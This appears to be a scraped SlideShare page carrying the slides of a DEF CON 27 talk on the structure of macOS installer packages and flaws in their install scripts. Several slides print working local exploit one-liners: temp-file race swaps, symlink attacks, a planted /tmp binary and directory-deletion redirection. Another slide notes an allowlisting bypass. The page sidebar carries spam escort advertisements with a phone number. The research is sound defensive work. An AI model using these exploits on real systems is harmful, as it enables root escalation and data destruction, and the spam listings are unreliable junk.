Artificial intelligence in the post-deep learning eraDeakin University
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 

Recently uploaded (20)

Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 

DEF CON 27 - ANDY GRANT - unpacking pkgs

  • 1. A look inside macOS Installer packages and common security flaws
  • 2. This is Me ● Experience: 11 years professional, 20+ years hobbyist ○ Self-taught → Stanford → iSEC Partners → NCC Group ● Security consultant: appsec focus ○ IC → Management → IC
  • 3. This is Me ● Experience: 11 years professional, 20+ years hobbyist ○ Self-taught → Stanford → iSEC Partners → NCC Group ● Security consultant: appsec focus ○ IC → Management → IC ● “Dana Vollmer’s husband” (5x Olympic Gold Medalist)
  • 4. This is Me ● Experience: 11 years professional, 20+ years hobbyist ○ Self-taught → Stanford → iSEC Partners → NCC Group ● Security consultant: appsec focus ○ IC → Management → IC ● “Dana Vollmer’s husband” (5x Olympic Gold Medalist) http://www.zimbio.com/Hottest+Olympic+Husbands+and+Boyfriends/ articles/u_giY9WHdG9/Dana+Vollmer+Husband+Andy+Grant
  • 5. Overview ● Motivation ● The package ● Unpacking ● What can (and does) go wrong
  • 6. Why? ● I’ve got trust issues ○ What’s really going on? ● All in a day’s work ○ Sometimes there’s nothing else to look at
  • 7. A look at the package
  • 8. The Package - Outside ● Mac OS X Installer flat package (.pkg extension) ○ Little to no official documentation ■ Better unofficial (but incomplete) documentation https://matthew-brett.github.io/docosx/flat_packages.html http://s.sudre.free.fr/Stuff/Ivanhoe/FLAT.html ● eXtensible ARchive (XAR) ● Helpful tools ○ macOS pre-installed pkgutil ○ Suspicious Package: https://www.mothersruin.com/software/SuspiciousPackage/
  • 10. Unpacking ● The easy way pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
  • 11. Unpacking ● The easy way pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory" ● The hacker way mkdir -p "/path/to/output/directory" cd "/path/to/output/directory" xar -xf "/path/to/package.pkg"
  • 12. The Package - Inside ├── Distribution XML document text, ASCII text ├── Resources directory └── <package>.pkg directory ├── Bom Mac OS X bill of materials (BOM) file ├── PackageInfo XML document text, ASCII text ├── Payload gzip compressed data, from Unix └── Scripts gzip compressed data, from Unix
  • 13. The Package - Distribution, PackageInfo, Bom ● Distribution (XML + JavaScript) ○ Customizations (title, welcome text, readme, background, restart, etc) ○ Script / installation checks (InstallerJS)
  • 14. The Package - Distribution, PackageInfo, Bom ● Distribution (XML + JavaScript) ○ Customizations (title, welcome text, readme, background, restart, etc) ○ Script / installation checks (InstallerJS) ● PackageInfo (XML) ○ Information on the package ○ Install requirements ○ Installation location ○ Paths to scripts to run
  • 15. The Package - Distribution, PackageInfo, Bom ● Distribution (XML + JavaScript) ○ Customizations (title, welcome text, readme, background, restart, etc) ○ Script / installation checks (InstallerJS) ● PackageInfo (XML) ○ Information on the package ○ Install requirements ○ Installation location ○ Paths to scripts to run ● Bill of materials (bom) ○ List of files to install, update, or remove ○ File permissions, owner/group, size, etc
  • 16. The Package - Payload, Scripts ● Payload (CPIO archive, gzip) ○ The files to be installed ○ Extracted to the install location specified in PackageInfo
  • 17. The Package - Payload, Scripts ● Payload (CPIO archive, gzip) ○ The files to be installed ○ Extracted to the install location specified in PackageInfo ● Scripts (CPIO archive, gzip) ○ Pre- and post-install scripts and additional resources ■ Bash, Python, Perl, <executable + #!> ○ Extracted to random temp directory for execution
  • 18. Unpacking - Scripts ● gzip’d cpio files cat Scripts | gzip -dc | cpio -i
  • 19. Unpacking - Scripts ● gzip’d cpio files cat Scripts | gzip -dc | cpio -i ● But cpio knows how to handle compressed files natively cpio -i < Scripts
  • 20. Unpacking - Scripts ● gzip’d cpio files cat Scripts | gzip -dc | cpio -i ● But cpio knows how to handle compressed files natively cpio -i < Scripts If you did the easy way (pkgutil --expand) this was done for you and Scripts is a directory containing the archive’s contents
  • 21. Unpacking - Payload ● Same as Scripts cpio -i < Payload
  • 22. Unpacking - Payload ● Same as Scripts cpio -i < Payload ● Sometimes contains more .pkg files; recurse!
  • 23. Unpacking - Payload ● Same as Scripts cpio -i < Payload ● Sometimes contains more .pkg files; recurse! Unlike Scripts, pkgutil --expand DOES NOT expand Payload for you
  • 24. What happens when I double click the .pkg?
  • 25. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/>
  • 26. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/> 2. Preinstall, specified in PackageInfo: <scripts> <preinstall file="./preinstall"/> </scripts>
  • 27. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/> 2. Preinstall, specified in PackageInfo: <scripts> <preinstall file="./preinstall"/> </scripts> 3. Extract Payload to install-location from PackageInfo
  • 28. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/> 2. Preinstall, specified in PackageInfo: <scripts> <preinstall file="./preinstall"/> </scripts> 3. Extract Payload to install-location from PackageInfo 4. Postinstall, specified in PackageInfo: <scripts> <postinstall file="./postinstall"/> </scripts>
  • 29. What can go wrong?
  • 30. Security - Where are the vulns? ● Scripts ○ Preinstall ○ Postinstall ○ Helper scripts ● Payload ○ Additional scripts (application helpers, uninstall scripts, etc) ○ Normal native app issues (brush up on your reversing skills!) ■ Binary ■ Libraries ■ Kernel modules
  • 31. Security - Types of vulns ● TOCTOU (minus the TOC) ● /tmp isn’t safe?! ○ What about for reads? Nope ○ What about for writes? Nope ○ What about for executes? Nope ● Access for all! ○ chmod 777
  • 32. Real vulns in real .pkgs (in the past 8 months)
  • 33. Into the Wild ● Root privilege escalation ● Symlink abuse ● Privilege escalation ● Arbitrary directory deletion ● Arbitrary code execution
  • 34. Into the Wild - Root privilege escalation ● Vulnerability ○ Payload includes /var/tmp/Installerutil ○ Postinstall: sudo /var/tmp/Installerutil --validate_nsbrandingfile "$NSBRANDING_JSON_FILE" "$NSINSTPARAM_JSON_FILE" ● Attack - Logged in non-root user attacking IT admin installing software ○ Exploit: while [ ! -f /var/tmp/Installerutil ]; do :; done; rm /var/tmp/Installerutil; cp exploit.sh /var/tmp/Installerutil
  • 35. Into the Wild - Symlink abuse ● Vulnerability ○ Preinstall: sudo rm /var/tmp/nsinstallation ○ Postinstall: sudo chmod 777 /var/tmp/nsinstallation sudo chown "${CONSOLE_USER}" /var/tmp/nsinstallation ● Attack - Any user/process attacking system administrator ○ Exploit: touch /var/tmp/nsinstallation; while [ -f /var/tmp/nsinstallation ]; do :; done; ln -s /Applications /var/tmp/nsinstallation
  • 36. Into the Wild - Privilege escalation ● Vulnerability ○ Preinstall: rm -rf /tmp/7z unzipresult=$(/usr/bin/unzip -q "$APP_FOLDER/7z.zip" -d "/tmp") un7zresult=$(/tmp/7z x "${APP_FOLDER}/xy.7z" -o "$APP_FOLDER") ● Attack - Any user/process attacking installing user ○ Exploit: cp exploit.sh /tmp/7z
  • 37. Into the Wild - Arbitrary directory deletion ● Vulnerability ○ Helper script inside Payload: # Clean up garbage rm -rf /tmp/sdu/* rmdir /tmp/sdu/ ● Attack - Any user/process attacking user running installed application ○ Exploit: ln -s /Users/victim /var/sdu
  • 38. Into the Wild - Arbitrary code execution ● Vulnerability ○ PackageInfo: <pkg-info install-location="/tmp/RazerSynapse" auth="root"> ○ Postinstall: cd /tmp/RazerSynapse for package in /tmp/RazerSynapse/*.pkg do installer -pkg "${package}" -target /
  • 39. Into the Wild - Arbitrary code execution ● Vulnerability ○ PackageInfo: <pkg-info install-location="/tmp/RazerSynapse" auth="root"> ○ Postinstall: cd /tmp/RazerSynapse for package in /tmp/RazerSynapse/*.pkg do installer -pkg "${package}" -target /
  • 40. Into the Wild - Arbitrary code execution ● DEMO! ○ Download target package ○ Extract files from .pkg ○ Check Distribution for installation-checks / script ○ Check PackageInfo for install-location and scripts ○ Extract files from Scripts ○ Check scripts for vulns ○ Craft exploit for discovered vuln ○ “Deliver” exploit and wait for installation ○ Install package ○ Profit!
  • 41. Into the Wild - Demo https://www.youtube.com/watch?v=OvlSLCVgaMs
  • 42. That Was Unexpected ● “No payload” packages leave no receipts ○ Nothing was “installed”, so no system record of the installation occurring ○ For minimal clicks, do everything during the installation checks ● Application Whitelisting (Google’s Santa) bypass: https://www.praetorian.com/blog/bypassing-google-santa-application-whitelisting-on-macos-part-1 ○ On macOS, app whitelisting is at the execve level, and installer is whitelisted ○ Code run via installation checks and pre- and post-install scripts run as installer